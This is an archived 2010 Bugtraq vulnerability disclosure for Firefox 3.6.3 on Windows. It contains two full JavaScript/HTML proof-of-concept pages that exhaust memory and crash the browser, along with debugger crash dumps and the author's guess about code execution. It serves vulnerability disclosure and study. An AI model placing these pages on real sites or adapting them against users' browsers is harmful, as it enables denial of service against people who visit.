Bugtraq mailing list archives

Firefox 3.6.3 (latest) <= memory exhaustion crash vulnerabilities

From: geinblues () gmail com
Date: Tue, 18 May 2010 09:26:05 -0600

Title: Firefox 3.6.3 (latest) <= memory exhaustion crash vulnerabilities

0x01. Description:
Memory exhaustion of Firefox 3.6.3 (latest) <= makes firefox can't make texts into body element and then it crashed. 
( raise exception using PoC #1, lower memory area read access violation using PoC #2 )
Ofcourse an variation PoC made NULL Pointer deref so may also could be code execution ( 0.1 % ). :-)

URL: http://www.x90c.org/advisories/firefox_3.6.3_crash_advisory.txt

Vendor Status: unpatched. ( to now... doesn't exists any reliable exploit so i disclosed to bugtraq firstly )

0x02. Proof of Concepts:

[PoC #1 - firefox_3.6.3_dos_poc_1.htm] --
<HTML>
<HEAD>
<SCRIPT LANGUAGE="javascript">

// Mozilla Firefox <= 3.6.3 (Win32) 0Day DoS Proof-of-Concept #1
// 
// o Summary:
// After loading this PoC, about 40 seconds later triggered.
// Crashes are occured at a same location.
//
// --
// 7c7e2af5 ff1510157d7c    call    dword ptr [kernel32!_imp__RtlRaiseException (7c7d1510)] 
//                                                                      ds:0023:7c7d1510={ntdll!RtlRaiseException 
(7c93e528)} ( raised )
//
// ##### 100% same below crash. exception raised. #####
// (f34.850): C++ EH exception - code e06d7363 (first chance)
// (f34.850): C++ EH exception - code e06d7363 (!!! second chance !!!)
// eax=0012aa58 ebx=01000121 ecx=00000000 edx=781d7ba8 esi=0012aae0 edi=2f900008
// eip=7c7e2afb esp=0012aa54 ebp=0012aaa8 iopl=0         nv up ei pl nz na pe nc
// cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
// kernel32!RaiseException+0x53:
// 7c7e2afb 5e              pop     esi 
// --
//
// Call Stack:
// 00 0012aa28 7815c54b e06d7363 00000001 00000003 kernel32!RaiseException+0x53
// WARNING: Stack unwind information not available. Following frames may be wrong.
// 01 0012aa60 78164f33 0012aa70 781caa24 781ac11c MOZCRT19!CxxThrowException+0x46
// 02 0012aa78 100cd464 08c00060 0012b1a0 21500008 MOZCRT19!operator new+0x73
// 03 00000000 00000000 00000000 00000000 00000000 xul!gfxWindowsFontGroup::MakeTextRun+0x54

// Trace:
// MOZCRT19!operator new:
//    78164ec0 8b442404        mov     eax,dword ptr [esp+4]
//    78164ec4 83ec0c          sub     esp,0Ch
//    78164ec7 50              push    eax
//    78164ec8 e8134bfdff      call    MOZCRT19!malloc (781399e0)
//      ...
//    78164f26 c74424081cc11a78 mov     dword ptr [esp+8],offset MOZCRT19!exception::`vftable'+0xc14 (781ac11c)
//    78164f2e e8d275ffff      call    MOZCRT19!CxxThrowException (7815c505)    ; Throw Exception.
//    78164f33 83c40c          add     esp,0Ch
//    78164f36 c3              ret
//
// MOZCRT19!CxxThrowException:
//    7815c505 55              push    ebp
//    7815c506 8bec            mov     ebp,esp
//    7815c508 83ec20          sub     esp,20h
//      ...
//    7815c545 ff15e4911a78    call    dword ptr [MOZCRT19!modf+0x87d4 (781a91e4)] ds:0023:781a91e4=
//                              {kernel32!RaiseException (7c7e2aa9)} ; Raise Exception!
//
// o Impact: DoS ( Exception Raise )
//
// o Tested on: 
//              - MS Win XP SP3 (ko)
//              - Mozilla Firefox 3.6.3 (Win32) (ko)
//                ( Mozilla/5.0, rv:1.9.2.3, Gecko/20100401 )
//
// P.S: This vulnerability similer with the CVE-2009-1571 [1] but it's patched on Firefox 3.6 
//              so this is *not the same vulnerability*!
// 
// [1] CVE-2009-1571 ( Credit: Alin Rad Pop of Secunia ) - Thanks to Alin Rad Pop.
//     - http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1571 
//
// o Discovered by x90c in INetCop(c) Security during analysis.
// o Discovered date: 2010.03.04
// o Personal homepage: http://www.x90c.org 
//
// Greets to Xpl017Elz(x82), rebel
//

function append_text_into_body()
{
        var p1 = document.getElementById('p1');
        var Text1 = "";
        var TextNode = null;

        // Trigger! MakeFont... into p element on body element.
        for(var i = 0; i < 0x700000 / 4; i++)
        {
                Text1 = Text1 + "AAAA";
        }

        TextNode = document.createTextNode(Text1);
        p1.appendChild(TextNode);       // Memory Exhaustion makes FireFox can't make Texts it caused an crash.
}

var arr1, arr2, arr3, arr4, arr5;
var a = 1;

var timer;

function fill_all_memory()
{
        var chunk = unescape("%u4141%u4141");
        var i = 0;

        if( a > 5 )
        {
                a++;
        }
        if(a >= 30)
        {
                append_text_into_body();
        }

        while(chunk.length <= 0x400000)
        {
                chunk = chunk + chunk;
        }
        chunk = chunk + chunk + chunk;
        chunk = chunk.substring(0, chunk.length);

        if(a == 1)
        {
                arr1 = new Array();
                for(i = 0; i < 0xd0; i++)
                {
                        arr1[i] = chunk;
                }
                a = 2;
        }
        else if(a == 2)
        {
                arr2 = new Array();
                for(i = 0; i < 0xd0; i++)
                {
                        arr2[i] = chunk;
                }
                a = 3;
        }
        else if(a == 3)
        {
                arr3 = new Array();
                for(i = 0; i < 0xd0; i++)
                {
                        arr3[i] = chunk;
                }
                a = 4;
        }
        else if(a == 4)
        {
                arr4 = new Array();
                for(i = 0; i < 0xd0; i++)
                {
                        arr4[i] = chunk;
                }
                a = 5;
        }
        else if(a == 5)
        {
                arr5 = new Array();
                for(i = 0; i < 0xd0; i++)
                {
                        arr5[i] = chunk;
                }
                a = 6;
        }
}

function try_fill()
{
        fill_all_memory();
        setTimeout("try_fill();", 500);
}

</SCRIPT>
</HEAD>

<BODY onload="try_fill();">
<P id='p1'></P>
</BODY>
</HTML>

<!-- [ eoc ] -->


[PoC #2 - firefox_3.6.3_dos_poc_2.htm] --

<HTML>
<HEAD>
<SCRIPT LANGUAGE="javascript">

// Mozilla Firefox <= 3.6.3 (Win32) 0Day DoS Proof-of-Concept #2
// 
// o Summary:
// After loading this PoC, about 40 seconds later triggered.
// Crashes are occured at a same location.
//
// --
// #####  almost 99% below crash #####
// (f0c.8b4): Access violation - code c0000005 (first chance)
// First chance exceptions are reported before any exception handling.
// This exception may be expected and handled.
// eax=0012aab8 ebx=00002226 ecx=000042a4 edx=000000ee esi=00003ce8 edi=000000ee
// eip=73f937cd esp=0012a3fc ebp=0012a3fc iopl=0         nv up ei pl zr na pe nc
// cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
// USP10!DoubleWideCharMappedString::operator[]+0x1f:
// 73f937cd 0fb70448        movzx   eax,word ptr [eax+ecx*2] ds:0023:00133000=???? ( beside stack area and unmapped )
// --
//
// 0:000> kp
// ChildEBP RetAddr  
// 0012a3fc 73f99a42 USP10!DoubleWideCharMappedString::operator[]+0x1f
// 0012a4cc 73f92d34 USP10!ScriptTokenize+0x91
// 0012a4f4 100efc30 USP10!ScriptItemize+0x42
// WARNING: Stack unwind information not available. Following frames may be wrong.
// 0012a5a0 7813807d xul!gfxWindowsFontGroup::GetUnderlineOffset+0x4cb0
// 00000000 00000000 MOZCRT19!expand+0x37d
//
// o Impact: DoS ( may also code execution )
//
// o Tested on: 
//              - MS Win XP SP3 (ko)
//              - Mozilla Firefox 3.6.3 (Win32) (ko)
//                ( Mozilla/5.0, rv:1.9.2.3, Gecko/20100401 )
//
// P.S: This vulnerability similer with the CVE-2009-1571 [1] but it's patched on Firefox 3.6
//              so this is *not the same vulnerability*! and this makes same crash with [2]
// 
// [1] CVE-2009-1571 ( Credit: Alin Rad Pop of Secunia ) - Thanks to Alin Rad Pop.
//     - http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1571 
//
// [2] All browsers 0day Crash Exploit ( Inj3ct0r Team )
//         - http://www.exploit-db.com/exploits/12491
// 
// o Discovered by x90c in INetCop(c) Security during analysis.
// o Discovery date: 2010.03.04
// o Personal homepage: http://www.x90c.org 
//
// Greets to Xpl017Elz(x82), rebel
//

function append_text_into_body()
{
        var p1 = document.getElementById('p1');
        var Text1 = "";
        var TextNode = null;

        // Trigger! MakeFont... into p element on body element.
        for(var i = 0; i < 0x700000 / 4; i++)
        {
                Text1 = Text1 + "AAAA";
        }

        TextNode = document.createTextNode(Text1);
        p1.appendChild(TextNode);       // Memory Exhaustion makes FireFox can't make Texts it caused an crash.
}

var a = 1;

var timer;

function fill_all_memory()      // This function's variation can makes an null pointer deref without 
append_text_into_body() calling.
{
        var chunk = unescape("%u4141%u4242");
        var i = 0;

        append_text_into_body();

        while(chunk.length <= 0x400000)
        {
                chunk = chunk + chunk;
        }
        chunk = chunk + chunk + chunk;
        chunk = chunk.substring(0, chunk.length);
}

function try_fill()
{
        fill_all_memory();
        // this poc makes 99% almost crashed same location as below.
        // 10: USP10!DoubleWideCharMappedString::operator[]+0x1f:
        //         73f937cd 0fb70448        movzx   eax,word ptr [eax+ecx*2] ds:0023:00133000=????
        // 100: ''
        // 150: ''
        // 200: ''
        // 300: ''
        // 500: ''
        // 1000: ''
        // 5000: ''
        setTimeout("try_fill();", 10);
}

</SCRIPT>
</HEAD>

<BODY onload="try_fill();">
<P id='p1'></P>
</BODY>

</HTML>

<!-- [ eoc ] -->


Thank you bugtraq securityfocus.
Current thread:

Firefox 3.6.3 (latest) <= memory exhaustion crash vulnerabilities geinblues (May 18)